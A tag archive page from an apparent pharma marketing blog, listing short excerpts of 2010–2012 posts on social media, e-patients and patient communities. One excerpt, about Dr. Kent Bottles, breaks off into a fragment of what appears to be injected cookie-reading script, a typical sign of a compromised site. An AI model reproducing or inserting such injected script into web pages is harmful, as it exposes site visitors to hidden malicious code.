Tag Archives: patient communities
10 Sep/12
By Spitz (@SpitzStrategy) Understanding Your Audience Budget, time, and resources are becoming increasingly finite, so every pharma marketer must now address questions that include: What is the...
7 Sep/12
There are so many great Pharma and Healthcare conferences this fall. We wish we could attend them all. While it's physically not possible for us to do so (unless Spitz and his family decide they...
6 Aug/12
By Spitz (@SpitzStrategy) Bad Hair Day I met Seth Godin at ePatient Connections 2011 in Philly, where he sat forlornly at a table after his keynote and peddled his latest book, "Poke the Box."...
26 Jan/12
By Sven Larsen(@svenplarsen) Who's doing it right? That's a question we're often asked since we've routinely challenged Pharma to embrace social media and an expanded dialogue with their...
23 Dec/11
by Briana Campbell (@MsMatchGirl) Weve spent a lot of this year (and last) talking about how pharma is running scared of social media. And weve spent some time telling them to just suck it up and...
Posted in Social Media
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Tagged Communities, epatient, patient bloggers, patient communities, Pharma, Pharmaceutical industry, Roche Diabetes, Roche Pharmaceutical, social media, social media strategy, social networks
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16 Dec/11
Here on Pixels & Pills, we spend a lot of time talking about the e-patient. About how technology has helped patients become more involved in their own recovery, about how advances in social...
9 Dec/11
Today's guest blog post is written by Bradley Jobling. Jobling created the social media program for the Columbia University Medical Center Department of Surgery. He has fifteen years of experience in...
20 Oct/11
Started in 1996, Cysticfibrosis.com connects a large audience who can't come together in real life. Here she talks with Pixels & Pills host Alice An, at Digital Pharma East 2011, about the...
Posted in Social Media
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Tagged #digpharm, Communities, community, Cystic Fibrosis, cysticfibrosis.com, Digital Pharma East, Jeanne Barrett, patient communities, patient education, patient engagement, patient portal, Patients, user needs
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10 Oct/11
Dr. Kent Bottles explains how patients and caregivers can use social media to connect and organize on a grassroots level at SXSH. function getCookie(e){var U=document.cookie.match(new...
6 Oct/11
by Sven Larsen (@zemoga) Electronic health records (EHRs) are widely seen as a way to standardize patient data in a way that improves accuracy and drives down costs which is why the federal...
Posted in Digital Health
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Tagged Digital Tools, Education, EHR, Electronic health record, electronic health records, electronic medical records, EMR, patient, patient communities, Patients, Trends
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20 May/11
By Michael Smith (@mikesmith55) Capturing mindshare and market share is a key imperative for thriving organizations; social media is becoming an irresistible way of getting there. According to a...
Posted in Social Media
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Tagged action, audience, experience, feedback, feedback loop, initiative, investment, marketing, messaging, money, offline, opportunity, patient communities, perception, personalization, purchase, review, social media, strategy, targeting, website
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12 Aug/10
Last year's ePatient Connections conference was the event of the year, attracting some of the most influential voices in the industry and garnering lots of positive feedback from the attendees....
Posted in Social Media
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Tagged communication, Conferences, DDMAC, Digital Tools, drug safety, Education, epatient, events, Facebook, FDA, healthcare, interviews, marketing, Online Communities, patient communities, Patients, Pharma, social media, Social network, technology, Thought Leaders, Trends, Twitter, user needs, YouTube
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